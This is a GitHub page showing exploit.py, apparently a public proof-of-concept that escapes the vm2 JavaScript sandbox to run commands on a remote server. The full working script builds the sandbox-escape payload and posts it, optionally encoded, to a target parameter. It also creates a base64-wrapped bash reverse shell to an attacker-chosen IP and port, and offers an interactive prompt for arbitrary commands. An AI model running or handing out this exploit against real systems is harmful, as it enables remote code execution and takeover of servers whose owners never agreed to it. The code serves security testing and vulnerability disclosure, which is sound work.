-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.py
175 lines (151 loc) · 5.38 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import re
import requests
import sys
import base64
from requests_toolbelt.utils import dump
import cmd
import readline
import json
# PoC Exploit for VM2 Sandbox Escape Vulnerabilities (All Versions)
# Author : Ravindu Wickramasinghe | rvz
# Credits : Xion (SeungHyun Lee) of "KAIST Hacking Lab" for disclosing these vulnerabilities and providing detailed analysis.
custom = False
temp = []
data = payload = curl = enc_type = param = ip = port = None
def extract_data(request_data):
#print("\033[32m[>]\033[0m curl : ", request_data)
url_pattern = re.compile(r"curl '([^']+)'")
urlm = url_pattern.search(request_data)
url = urlm.group(1) if urlm else None
params_pattern = re.compile(r"--data-raw '{([^}]+)}'")
pm = params_pattern.search(request_data)
params_str = pm.group(1) if pm else None
params = dict(re.findall(r'(\w+):([^,}]*)', params_str) if params_str else [])
headers_pattern = re.compile(r"-H '([^:]+): ([^']+)'")
headers_matches = headers_pattern.findall(request_data)
headers = {key: value for key, value in headers_matches}
return url, params, headers
def send(url,headers,params,payload):
pdata = encode_payload(vm2payload)
if not custom:
params[list(params.keys())[0]] = pdata
else:
params[param] = pdata
# if provinding a url these headers will be used! update if necessary
# -------------------------------------------------------------------
if headers==None:
headers = {
'Content-Type': 'application/json'
}
# -------------------------------------------------------------------
for key, value in params.items():
temp.append("\"" + key + "\":\"" + value + "\"")
params = "{" + ",".join(temp) + "}"
if verbose:
print("\033[31m[!]\033[0m if this is not the parameter you want to select add --param=your_param")
print(f"\033[32m[>]\033[0m selected parameter: {param}")
#print("\033[32m[>]\033[0m payload: ",pdata)
#print("\033[32m[>]\033[0m request's data: ",params)
response = requests.post(url, data=params, headers=headers)
data = dump.dump_all(response)
if verbose:
print(data.decode('utf-8'))
try:
values = list(json.loads(response.text).values())
print(values[0])
except json.JSONDecodeError:
print(response.text)
def vm2_payload_gen(cmd):
payload = '''
const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = "'''+cmd+'''"
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync(cmd); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));'''
if verbose:
print("\033[32m[>]\033[0m vm2-payload: \n","-"* 20,payload,"\n","-"* 20)
return payload
def encode_payload(vm2payload):
if enc_type:
if verbose:
#print(f"\033[32m[>]\033[0m payload encoding: {enc_type}")
pass
pdata = vm2payload.encode('utf-8').hex() if enc_type == 'hex' else base64.b64encode(vm2payload.encode('utf-8')).decode('utf-8')
else:
pdata=vm2payload
return pdata
try:
request_data = sys.argv[1]
for arg in sys.argv[1:]:
if arg == '--hex': enc_type = 'hex'
if arg.startswith('--param='): param = arg.split("=")[1]
elif arg == '--base64': enc_type = 'base64'
elif arg.startswith('--ip='): ip = arg.split("=")[1]
elif arg.startswith('--port='): port = arg.split("=")[1]
except:
print("./usage <curl-request-or-target-url>")
exit()
if request_data.startswith("curl"):
url, params, headers = extract_data(request_data)
print("\033[32m[>]\033[0m target url: ", url)
print("\033[32m[>]\033[0m params: ",params)
try:
print("\033[32m[>]\033[0m extracted parameter: ", list(params.keys())[0])
except:
pass
curl = True
elif request_data.startswith("http"):
url = request_data
params = {}
headers = None
print("\033[32m[>]\033[0m target url:", url)
curl = False
else:
print("./usage <curl-request-or-target-url>")
exit()
if param==None or custom==True:
try:
param=list(params.keys())[0]
except:
print("\033[31m[!]\033[0m since you're providing a url you've to specifiy the parameter use --param")
exit()
else:
params={param:""}
verbose = True
if ip != None and port != None:
payload = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
payload = "echo " + base64.b64encode(payload.encode('utf-8')).decode('utf-8') + " | base64 -d | bash"
print("\033[32m[>]\033[0m payload : ",payload)
vm2payload = vm2_payload_gen(payload)
send(url,headers,params,payload)
else:
while True:
verbose = False
user_input = input(" > ")
if user_input.lower() == 'exit':
break
try:
payload = user_input
vm2payload = vm2_payload_gen(payload)
send(url,headers,params,payload)
except Exception as e:
print(f"\033[31m[!]\033[0m error : {e}")